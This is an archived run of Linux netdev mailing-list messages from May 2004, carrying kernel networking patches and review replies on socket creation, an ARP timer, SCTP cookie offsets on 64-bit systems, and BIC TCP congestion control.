In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5048 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jmorris@redhat.com Precedence: bulk X-list: netdev On Fri, 7 May 2004, James Morris wrote: > On Fri, 7 May 2004, Christoph Hellwig wrote: > > > On Fri, May 07, 2004 at 11:06:04AM -0400, James Morris wrote: > > > This patch adds a function sock_create_lite(), deprecating kernel-wide use > > > of sock_alloc(), which has been made static to net/socket.c. > > > > We're in the stable series and removing exported APIs there shoudn't happen. > > Given that sock_alloc() is actually okay for every normal use I don't think > > there's enough reason to remove it from the API. > Ok, here's a version of this patch which doesn't do anything with sock_alloc(). diff -urN -X dontdiff linux-2.6.6-rc3-mm2.p/include/linux/net.h linux-2.6.6-rc3-mm2.w/include/linux/net.h --- linux-2.6.6-rc3-mm2.p/include/linux/net.h 2004-05-06 16:59:28.000000000 -0400 +++ linux-2.6.6-rc3-mm2.w/include/linux/net.h 2004-05-07 13:57:47.669957104 -0400 @@ -151,6 +151,8 @@ struct socket **res); extern int sock_create_kern(int family, int type, int proto, struct socket **res); +extern int sock_create_lite(int family, int type, int proto, + struct socket **res); extern void sock_release(struct socket *sock); extern int sock_sendmsg(struct socket *sock, struct msghdr *msg, size_t len); diff -urN -X dontdiff linux-2.6.6-rc3-mm2.p/net/bluetooth/rfcomm/core.c linux-2.6.6-rc3-mm2.w/net/bluetooth/rfcomm/core.c --- linux-2.6.6-rc3-mm2.p/net/bluetooth/rfcomm/core.c 2004-05-06 16:59:28.000000000 -0400 +++ linux-2.6.6-rc3-mm2.w/net/bluetooth/rfcomm/core.c 2004-05-07 13:56:02.770904184 -0400 @@ -1642,11 +1642,9 @@ BT_DBG("session %p", s); - nsock = sock_alloc(); - if (!nsock) + if (sock_create_lite(PF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP, &nsock)) return; - - nsock->type = sock->type; + nsock->ops = sock->ops; __module_get(nsock->ops->owner); diff -urN -X dontdiff linux-2.6.6-rc3-mm2.p/net/netlink/af_netlink.c linux-2.6.6-rc3-mm2.w/net/netlink/af_netlink.c --- linux-2.6.6-rc3-mm2.p/net/netlink/af_netlink.c 2004-05-05 11:16:20.000000000 -0400 +++ linux-2.6.6-rc3-mm2.w/net/netlink/af_netlink.c 2004-05-07 13:56:02.771904032 -0400 @@ -833,11 +833,9 @@ if (unit<0 || unit>=MAX_LINKS) return NULL; - if (!(sock = sock_alloc())) + if (sock_create_lite(PF_NETLINK, SOCK_DGRAM, unit, &sock)) return NULL; - sock->type = SOCK_RAW; - if (netlink_create(sock, unit) < 0) { sock_release(sock); return NULL; diff -urN -X dontdiff linux-2.6.6-rc3-mm2.p/net/sctp/protocol.c linux-2.6.6-rc3-mm2.w/net/sctp/protocol.c --- linux-2.6.6-rc3-mm2.p/net/sctp/protocol.c 2004-04-29 10:03:53.000000000 -0400 +++ linux-2.6.6-rc3-mm2.w/net/sctp/protocol.c 2004-05-06 17:26:12.000000000 -0400 @@ -653,8 +653,8 @@ else family = PF_INET; - err = sock_create(family, SOCK_SEQPACKET, IPPROTO_SCTP, - &sctp_ctl_socket); + err = sock_create_kern(family, SOCK_SEQPACKET, IPPROTO_SCTP, + &sctp_ctl_socket); if (err < 0) { printk(KERN_ERR "SCTP: Failed to create the SCTP control socket.\n"); diff -urN -X dontdiff linux-2.6.6-rc3-mm2.p/net/socket.c linux-2.6.6-rc3-mm2.w/net/socket.c --- linux-2.6.6-rc3-mm2.p/net/socket.c 2004-05-06 16:59:28.000000000 -0400 +++ linux-2.6.6-rc3-mm2.w/net/socket.c 2004-05-07 13:57:40.429057888 -0400 @@ -457,7 +457,7 @@ * NULL is returned. */ -struct socket *sock_alloc(void) +static struct socket *sock_alloc(void) { struct inode * inode; struct socket * sock; @@ -840,6 +840,27 @@ return err; } +int sock_create_lite(int family, int type, int protocol, struct socket **res) +{ + int err; + struct socket *sock = NULL; + + err = security_socket_create(family, type, protocol, 1); + if (err) + goto out; + + sock = sock_alloc(); + if (!sock) { + err = -ENOMEM; + goto out; + } + + security_socket_post_create(sock, family, type, protocol, 1); + sock->type = type; +out: + *res = sock; + return err; +} /* No kernel lock held - perfect */ static unsigned int sock_poll(struct file *file, poll_table * wait) @@ -2001,6 +2022,7 @@ EXPORT_SYMBOL(sock_alloc_inode); EXPORT_SYMBOL(sock_create); EXPORT_SYMBOL(sock_create_kern); +EXPORT_SYMBOL(sock_create_lite); EXPORT_SYMBOL(sock_map_fd); EXPORT_SYMBOL(sock_recvmsg); EXPORT_SYMBOL(sock_register); diff -urN -X dontdiff linux-2.6.6-rc3-mm2.p/net/sunrpc/svcsock.c linux-2.6.6-rc3-mm2.w/net/sunrpc/svcsock.c --- linux-2.6.6-rc3-mm2.p/net/sunrpc/svcsock.c 2004-05-06 16:59:28.000000000 -0400 +++ linux-2.6.6-rc3-mm2.w/net/sunrpc/svcsock.c 2004-05-07 13:56:02.775903424 -0400 @@ -781,13 +781,15 @@ if (!sock) return; - if (!(newsock = sock_alloc())) { - printk(KERN_WARNING "%s: no more sockets!\n", serv->sv_name); + err = sock_create_lite(PF_INET, SOCK_STREAM, IPPROTO_TCP, &newsock); + if (err) { + if (err == -ENOMEM) + printk(KERN_WARNING "%s: no more sockets!\n", + serv->sv_name); return; } - dprintk("svc: tcp_accept %p allocated\n", newsock); - newsock->type = sock->type; + dprintk("svc: tcp_accept %p allocated\n", newsock); newsock->ops = ops = sock->ops; clear_bit(SK_CONN, &svsk->sk_flags); From dlstevens@us.ibm.com Fri May 7 13:01:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 07 May 2004 13:01:31 -0700 (PDT) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i47K1IKO001171 for ; Fri, 7 May 2004 13:01:19 -0700 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i47K1CMS550992; Fri, 7 May 2004 16:01:12 -0400 Received: from d03nm121.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.195.168]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i47K1BD9206508; Fri, 7 May 2004 14:01:11 -0600 To: davem@redhat.com, netdev@oss.sgi.com MIME-Version: 1.0 Subject: [PATCH] bug in ARP override timer near jiffies wrap X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: From: David Stevens Date: Fri, 7 May 2004 14:01:10 -0600 X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF168 | December 5, 2003) at 05/07/2004 14:01:11 Content-Type: multipart/mixed; boundary="=_mixed 006DF15888256E8D_=" X-archive-position: 5049 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dlstevens@us.ibm.com Precedence: bulk X-list: netdev --=_mixed 006DF15888256E8D_= Content-Type: text/plain; charset="US-ASCII" This patch fixes the calculation of "override" in ARP. +-DLS --- linux-2.6.6-rc2F1/net/ipv4/arp.c 2004-04-21 15:47:55.000000000 -0700 +++ linux-2.6.6-rc2F2/net/ipv4/arp.c 2004-05-07 12:54:34.898406424 -0700 @@ -891,15 +891,14 @@ if (n) { int state = NUD_REACHABLE; - int override = 0; + int override; /* If several different ARP replies follows back-to-back, use the FIRST one. It is possible, if several proxy agents are active. Taking the first reply prevents arp trashing and chooses the fastest router. */ - if (jiffies - n->updated >= n->parms->locktime) - override = 1; + override = time_after(jiffies, n->updated + n->parms->locktime); /* Broadcast replies and request packets do not assert neighbour reachability. --=_mixed 006DF15888256E8D_= Content-Type: application/octet-stream; name="arpfix.patch" Content-Disposition: attachment; filename="arpfix.patch" Content-Transfer-Encoding: base64 LS0tIGxpbnV4LTIuNi42LXJjMkYxL25ldC9pcHY0L2FycC5jCTIwMDQtMDQtMjEgMTU6NDc6NTUu MDAwMDAwMDAwIC0wNzAwCisrKyBsaW51eC0yLjYuNi1yYzJGMi9uZXQvaXB2NC9hcnAuYwkyMDA0 LTA1LTA3IDEyOjU0OjM0Ljg5ODQwNjQyNCAtMDcwMApAQCAtODkxLDE1ICs4OTEsMTQgQEAKIAog CWlmIChuKSB7CiAJCWludCBzdGF0ZSA9IE5VRF9SRUFDSEFCTEU7Ci0JCWludCBvdmVycmlkZSA9 IDA7CisJCWludCBvdmVycmlkZTsKIAogCQkvKiBJZiBzZXZlcmFsIGRpZmZlcmVudCBBUlAgcmVw bGllcyBmb2xsb3dzIGJhY2stdG8tYmFjaywKIAkJICAgdXNlIHRoZSBGSVJTVCBvbmUuIEl0IGlz IHBvc3NpYmxlLCBpZiBzZXZlcmFsIHByb3h5CiAJCSAgIGFnZW50cyBhcmUgYWN0aXZlLiBUYWtp bmcgdGhlIGZpcnN0IHJlcGx5IHByZXZlbnRzCiAJCSAgIGFycCB0cmFzaGluZyBhbmQgY2hvb3Nl cyB0aGUgZmFzdGVzdCByb3V0ZXIuCiAJCSAqLwotCQlpZiAoamlmZmllcyAtIG4tPnVwZGF0ZWQg Pj0gbi0+cGFybXMtPmxvY2t0aW1lKQotCQkJb3ZlcnJpZGUgPSAxOworCQlvdmVycmlkZSA9IHRp bWVfYWZ0ZXIoamlmZmllcywgbi0+dXBkYXRlZCArIG4tPnBhcm1zLT5sb2NrdGltZSk7CiAKIAkJ LyogQnJvYWRjYXN0IHJlcGxpZXMgYW5kIHJlcXVlc3QgcGFja2V0cwogCQkgICBkbyBub3QgYXNz ZXJ0IG5laWdoYm91ciByZWFjaGFiaWxpdHkuCg== --=_mixed 006DF15888256E8D_=-- From davem@redhat.com Fri May 7 14:40:12 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 07 May 2004 14:40:20 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i47LeBKO006149 for ; Fri, 7 May 2004 14:40:11 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i47LeA0m020506; Fri, 7 May 2004 17:40:10 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i47LeAv02456; Fri, 7 May 2004 17:40:10 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i47Le2Kv020378; Fri, 7 May 2004 17:40:02 -0400 Date: Fri, 7 May 2004 14:40:00 -0700 From: "David S. Miller" To: David Stevens Cc: netdev@oss.sgi.com Subject: Re: [PATCH] bug in ARP override timer near jiffies wrap Message-Id: <20040507144000.7a57d76a.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5050 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 7 May 2004 14:01:10 -0600 David Stevens wrote: > This patch fixes the calculation of "override" in ARP. ... > - if (jiffies - n->updated >= n->parms->locktime) > - override = 1; > + override = time_after(jiffies, n->updated + > n->parms->locktime); David, do you realize that the existing formula is not only correct, but also covers a greater time space than the time_*() mechanisms do? From sri@us.ibm.com Fri May 7 14:51:22 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 07 May 2004 14:51:24 -0700 (PDT) Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i47LpFKO006640 for ; Fri, 7 May 2004 14:51:22 -0700 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e31.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i47Lp3pj429168; Fri, 7 May 2004 17:51:03 -0400 Received: from w-sridhar.beaverton.ibm.com ([9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i47Lp2DA111368; Fri, 7 May 2004 15:51:03 -0600 Date: Fri, 7 May 2004 14:51:02 -0700 (PDT) From: Sridhar Samudrala X-X-Sender: sridhar@localhost.localdomain To: davem@redhat.com cc: netdev@oss.sgi.com, lksctp-developers@lists.sourceforge.net Subject: [PATCH - SCTP] Fix multihomed connection failures on 64-bit systems. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5051 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sri@us.ibm.com Precedence: bulk X-list: netdev Dave, The following patch from Vladislav Yasevich fixes an SCTP issue with 64-bit systems. This applies to 2.4 tree also with a small offset. [SCTP] Fix multihomed connection failures on 64-bit systems. Avoid the use of sizeof() and pointer arithmetic to get to the end of sctp_cookie structure. Instead use the last element peer_init which is a zero-sized array as the offset. diff -Nru a/net/sctp/associola.c b/net/sctp/associola.c --- a/net/sctp/associola.c Fri May 7 14:37:34 2004 +++ b/net/sctp/associola.c Fri May 7 14:37:34 2004 @@ -1195,7 +1195,7 @@ { int var_size2 = ntohs(cookie->peer_init->chunk_hdr.length); int var_size3 = cookie->raw_addr_list_len; - __u8 *raw = (__u8 *)cookie + sizeof(struct sctp_cookie) + var_size2; + __u8 *raw = (__u8 *)cookie->peer_init + var_size2; return sctp_raw_to_bind_addrs(&asoc->base.bind_addr, raw, var_size3, asoc->ep->base.bind_addr.port, gfp); From dlstevens@us.ibm.com Fri May 7 14:52:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 07 May 2004 14:52:10 -0700 (PDT) Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i47Lq8KO006789; Fri, 7 May 2004 14:52:08 -0700 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i47Lq29o342076; Fri, 7 May 2004 17:52:02 -0400 Received: from d03nm121.boulder.ibm.com (d03av04.boulder.ibm.com [9.17.195.170]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i47Lq16Y343178; Fri, 7 May 2004 15:52:02 -0600 In-Reply-To: <20040507144000.7a57d76a.davem@redhat.com> To: "David S. Miller" Cc: netdev@oss.sgi.com, netdev-bounce@oss.sgi.com MIME-Version: 1.0 Subject: Re: [PATCH] bug in ARP override timer near jiffies wrap X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: From: David Stevens Date: Fri, 7 May 2004 14:51:13 -0700 X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF168 | December 5, 2003) at 05/07/2004 15:52:02, Serialize complete at 05/07/2004 15:52:02 Content-Type: text/plain; charset="US-ASCII" X-archive-position: 5052 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dlstevens@us.ibm.com Precedence: bulk X-list: netdev David S. Miller wrote on 05/07/2004 02:40:00 PM: > David, do you realize that the existing formula is not only > correct, but also covers a greater time space than the > time_*() mechanisms do? ARG! you're right, of course-- I noticed only that they are different and didn't think about it actually be right! :-) +-DLS From davem@redhat.com Fri May 7 14:55:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 07 May 2004 14:55:16 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i47LtCKO007401; Fri, 7 May 2004 14:55:12 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i47LtB0m023253; Fri, 7 May 2004 17:55:11 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i47LtBv06079; Fri, 7 May 2004 17:55:11 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i47Lt3Kv026001; Fri, 7 May 2004 17:55:03 -0400 Date: Fri, 7 May 2004 14:55:01 -0700 From: "David S. Miller" To: David Stevens Cc: netdev@oss.sgi.com, netdev-bounce@oss.sgi.com Subject: Re: [PATCH] bug in ARP override timer near jiffies wrap Message-Id: <20040507145501.24fdd83a.davem@redhat.com> In-Reply-To: References: <20040507144000.7a57d76a.davem@redhat.com> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5053 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 7 May 2004 14:51:13 -0700 David Stevens wrote: > David S. Miller wrote on 05/07/2004 02:40:00 PM: > > > David, do you realize that the existing formula is not only > > correct, but also covers a greater time space than the > > time_*() mechanisms do? > > ARG! you're right, of course-- I noticed only that they are > different and didn't think about it actually be right! :-) But note that the main point is also that your change is still correct. The only reason I know about the time space issue with these tests is that Alexey mentioned it to me when I was converting most of the TCP code over to use the time_*() macros. It is a policy decision whether it is more valuable to be more consistent or support the larger time space in tests here and there. I think it is more important to be consistent, so I'm going to apply your patch. And for ARP the larger time space would never matter anyways :-) From shemminger@osdl.org Fri May 7 16:10:24 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 07 May 2004 16:10:29 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i47NAMKO009163 for ; Fri, 7 May 2004 16:10:24 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i47N9v218270; Fri, 7 May 2004 16:09:57 -0700 Date: Fri, 7 May 2004 16:09:57 -0700 From: Stephen Hemminger To: "David S. Miller" Cc: "Lisong Xu" , "Injong Rhee" , netdev@oss.sgi.com Subject: [PATCH] BIC TCP for Linux 2.6.6 Message-Id: <20040507160957.22d46527@dell_ss3.pdx.osdl.net> In-Reply-To: <000701c43383$2f6bc1e0$8c330e98@nanegrc> References: <00b601c42638$04ecac20$96330e98@VALUED66329DCC> <01d101c4263a$2a51d060$8c330e98@nanegrc> <20040429153811.56d410e3@dell_ss3.pdx.osdl.net> <003b01c42e52$6e317ef0$20339804@Nannan> <20040505155538.0d414cae@dell_ss3.pdx.osdl.net> <000701c43383$2f6bc1e0$8c330e98@nanegrc> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.10claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5054 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev This is a version of Binary Increase Control (BIC) TCP developed by NCSU. It is yet another TCP congestion control algorithm for handling big fat pipes. For normal size congestion windows it behaves the same as existing TCP Reno, but when window is large it uses additive increase to ensure fairness and when window is small it uses binary search increase. For more details see the BIC TCP web page http://www.csc.ncsu.edu/faculty/rhee/export/bitcp/ The original code was for web100 (2.4); this version is pretty much the same but targeted for 2.6 with less sysctl parameters and more constants. I don't have a real high speed long haul network to test, but when running over 1G links with delays, the performance is more stable (ie tests are repeatable) and as fast as existing Reno. diff -Nru a/Documentation/networking/ip-sysctl.txt b/Documentation/networking/ip-sysctl.txt --- a/Documentation/networking/ip-sysctl.txt Fri May 7 15:56:15 2004 +++ b/Documentation/networking/ip-sysctl.txt Fri May 7 15:56:15 2004 @@ -316,6 +316,30 @@ not as aggressive as TCP Reno. Default:0 +tcp_bic - BOOLEAN + Enable BIC TCP congestion control algorithm. + BIC-TCP is a sender-side only change that ensures a linear RTT + fairness under large windows while offering both scalability and + bounded TCP-friendliness. The protocol combines two schemes + called additive increase and binary search increase. When the + congestion window is large, additive increase with a large + increment ensures linear RTT fairness as well as good + scalability. Under small congestion windows, binary search + increase provides TCP friendliness. + Default: 0 + +tcp_bic_low_window - INTEGER + Sets the threshold window (in packets) where BIC TCP starts to + adjust the congestion window. Below this threshold BIC TCP behaves + the same as the default TCP Reno. + Default: 14 + +tcp_bic_fast_convergence - BOOLEAN + Forces BIC TCP to more quickly respond to changes in congestion + window. Allows two flows sharing the same connection to converge + more rapidly. + Default: 1 + ip_local_port_range - 2 INTEGERS Defines the local port range that is used by TCP and UDP to choose the local port. The first number is the first, the diff -Nru a/include/linux/sysctl.h b/include/linux/sysctl.h --- a/include/linux/sysctl.h Fri May 7 15:56:15 2004 +++ b/include/linux/sysctl.h Fri May 7 15:56:15 2004 @@ -332,6 +332,9 @@ NET_TCP_VEGAS_ALPHA=99, NET_TCP_VEGAS_BETA=100, NET_TCP_VEGAS_GAMMA=101, + NET_TCP_BIC=102, + NET_TCP_BIC_FAST_CONVERGENCE=103, + NET_TCP_BIC_LOW_WINDOW=104, }; enum { diff -Nru a/include/linux/tcp.h b/include/linux/tcp.h --- a/include/linux/tcp.h Fri May 7 15:56:15 2004 +++ b/include/linux/tcp.h Fri May 7 15:56:15 2004 @@ -400,6 +400,13 @@ __u32 minRTT; /* min of RTTs measured within last RTT (in usec) */ __u32 baseRTT; /* the min of all Vegas RTT measurements seen (in usec) */ } vegas; + + /* BI TCP Parameters */ + struct { + __u32 cnt; /* increase cwnd by 1 after this number of ACKs */ + __u32 last_max_cwnd; /* last maximium snd_cwnd */ + __u32 last_cwnd; /* the last snd_cwnd */ + } bictcp; }; /* WARNING: don't change the layout of the members in tcp_sock! */ diff -Nru a/include/net/tcp.h b/include/net/tcp.h --- a/include/net/tcp.h Fri May 7 15:56:15 2004 +++ b/include/net/tcp.h Fri May 7 15:56:15 2004 @@ -509,6 +509,25 @@ # define TCP_TW_RECYCLE_TICK (12+2-TCP_TW_RECYCLE_SLOTS_LOG) #endif +#define BICTCP_1_OVER_BETA 8 /* + * Fast recovery + * multiplicative decrease factor + */ +#define BICTCP_MAX_INCREMENT 32 /* + * Limit on the amount of + * increment allowed during + * binary search. + */ +#define BICTCP_FUNC_OF_MIN_INCR 11 /* + * log(B/Smin)/log(B/(B-1))+1, + * Smin:min increment + * B:log factor + */ +#define BICTCP_B 4 /* + * In binary search, + * go to point (max+min)/N + */ + /* * TCP option */ @@ -588,6 +607,9 @@ extern int sysctl_tcp_vegas_beta; extern int sysctl_tcp_vegas_gamma; extern int sysctl_tcp_nometrics_save; +extern int sysctl_tcp_bic; +extern int sysctl_tcp_bic_fast_convergence; +extern int sysctl_tcp_bic_low_window; extern atomic_t tcp_memory_allocated; extern atomic_t tcp_sockets_allocated; @@ -1207,11 +1229,30 @@ /* Recalculate snd_ssthresh, we want to set it to: * + * Reno: * one half the current congestion window, but no * less than two segments + * + * BIC: + * behave like Reno until low_window is reached, + * then increase congestion window slowly */ static inline __u32 tcp_recalc_ssthresh(struct tcp_opt *tp) { + if (sysctl_tcp_bic) { + if (sysctl_tcp_bic_fast_convergence && + tp->snd_cwnd < tp->bictcp.last_max_cwnd) + tp->bictcp.last_max_cwnd + = (tp->snd_cwnd * (2*BICTCP_1_OVER_BETA-1)) + / (BICTCP_1_OVER_BETA/2); + else + tp->bictcp.last_max_cwnd = tp->snd_cwnd; + + if (tp->snd_cwnd > sysctl_tcp_bic_low_window) + return max(tp->snd_cwnd - (tp->snd_cwnd/BICTCP_1_OVER_BETA), + 2U); + } + return max(tp->snd_cwnd >> 1U, 2U); } diff -Nru a/net/ipv4/sysctl_net_ipv4.c b/net/ipv4/sysctl_net_ipv4.c --- a/net/ipv4/sysctl_net_ipv4.c Fri May 7 15:56:15 2004 +++ b/net/ipv4/sysctl_net_ipv4.c Fri May 7 15:56:15 2004 @@ -641,6 +641,30 @@ .mode = 0644, .proc_handler = &proc_dointvec, }, + { + .ctl_name = NET_TCP_BIC, + .procname = "tcp_bic", + .data = &sysctl_tcp_bic, + .maxlen = sizeof(int), + .mode = 0644, + .proc_handler = &proc_dointvec, + }, + { + .ctl_name = NET_TCP_BIC_FAST_CONVERGENCE, + .procname = "tcp_bic_fast_convergence", + .data = &sysctl_tcp_bic_fast_convergence, + .maxlen = sizeof(int), + .mode = 0644, + .proc_handler = &proc_dointvec, + }, + { + .ctl_name = NET_TCP_BIC_LOW_WINDOW, + .procname = "tcp_bic_low_window", + .data = &sysctl_tcp_bic_low_window, + .maxlen = sizeof(int), + .mode = 0644, + .proc_handler = &proc_dointvec, + }, { .ctl_name = 0 } }; diff -Nru a/net/ipv4/tcp_input.c b/net/ipv4/tcp_input.c --- a/net/ipv4/tcp_input.c Fri May 7 15:56:15 2004 +++ b/net/ipv4/tcp_input.c Fri May 7 15:56:15 2004 @@ -97,6 +97,9 @@ int sysctl_tcp_vegas_alpha = 1<= 0) tcp_ack_no_tstamp(tp, seq_rtt, flag); } + +/* + * Compute congestion window to use. + * + * This is from the implementation of BICTCP in + * Lison-Xu, Kahaled Harfoush, and Injog Rhee. + * "Binary Increase Congestion Control for Fast, Long Distance + * Networks" in InfoComm 2004 + * Available from: + * http://www.csc.ncsu.edu/faculty/rhee/export/bitcp.pdf + * + * Unless BIC is enabled and congestion window is large + * this behaves the same as the original Reno. + */ +static inline __u32 bictcp_cwnd(struct tcp_opt *tp) +{ + /* orignal Reno behaviour */ + if (!sysctl_tcp_bic) + return tp->snd_cwnd; + + if (tp->bictcp.last_cwnd == tp->snd_cwnd) + return tp->bictcp.cnt; /* same cwnd, no update */ + + tp->bictcp.last_cwnd = tp->snd_cwnd; + + /* start off normal */ + if (tp->snd_cwnd <= sysctl_tcp_bic_low_window) + tp->bictcp.cnt = tp->snd_cwnd; + + /* binary increase */ + else if (tp->snd_cwnd < tp->bictcp.last_max_cwnd) { + __u32 dist = (tp->bictcp.last_max_cwnd - tp->snd_cwnd) + / BICTCP_B; + + if (dist > BICTCP_MAX_INCREMENT) + /* linear increase */ + tp->bictcp.cnt = tp->snd_cwnd / BICTCP_MAX_INCREMENT; + else if (dist <= 1U) + /* binary search increase */ + tp->bictcp.cnt = tp->snd_cwnd * BICTCP_FUNC_OF_MIN_INCR + / BICTCP_B; + else + /* binary search increase */ + tp->bictcp.cnt = tp->snd_cwnd / dist; + } else { + /* slow start amd linear increase */ + if (tp->snd_cwnd < tp->bictcp.last_max_cwnd + BICTCP_B) + /* slow start */ + tp->bictcp.cnt = tp->snd_cwnd * BICTCP_FUNC_OF_MIN_INCR + / BICTCP_B; + else if (tp->snd_cwnd < tp->bictcp.last_max_cwnd + + BICTCP_MAX_INCREMENT*(BICTCP_B-1)) + /* slow start */ + tp->bictcp.cnt = tp->snd_cwnd * (BICTCP_B-1) + / (tp->snd_cwnd-tp->bictcp.last_max_cwnd); + else + /* linear increase */ + tp->bictcp.cnt = tp->snd_cwnd / BICTCP_MAX_INCREMENT; + } + return tp->bictcp.cnt; +} + /* This is Jacobson's slow start and congestion avoidance. * SIGCOMM '88, p. 328. */ @@ -1871,7 +1936,7 @@ /* In dangerous area, increase slowly. * In theory this is tp->snd_cwnd += 1 / tp->snd_cwnd */ - if (tp->snd_cwnd_cnt >= tp->snd_cwnd) { + if (tp->snd_cwnd_cnt >= bictcp_cwnd(tp)) { if (tp->snd_cwnd < tp->snd_cwnd_clamp) tp->snd_cwnd++; tp->snd_cwnd_cnt=0; diff -Nru a/net/ipv4/tcp_minisocks.c b/net/ipv4/tcp_minisocks.c --- a/net/ipv4/tcp_minisocks.c Fri May 7 15:56:15 2004 +++ b/net/ipv4/tcp_minisocks.c Fri May 7 15:56:15 2004 @@ -766,6 +766,9 @@ newtp->snd_cwnd = 2; newtp->snd_cwnd_cnt = 0; + newtp->bictcp.cnt = 0; + newtp->bictcp.last_max_cwnd = newtp->bictcp.last_cwnd = 0; + newtp->frto_counter = 0; newtp->frto_highmark = 0; From hadi@cyberus.ca Sat May 8 04:56:02 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 08 May 2004 04:56:40 -0700 (PDT) Received: from mx01.cybersurf.com (mx01.cybersurf.com [209.197.145.104]) by oss.sgi.com 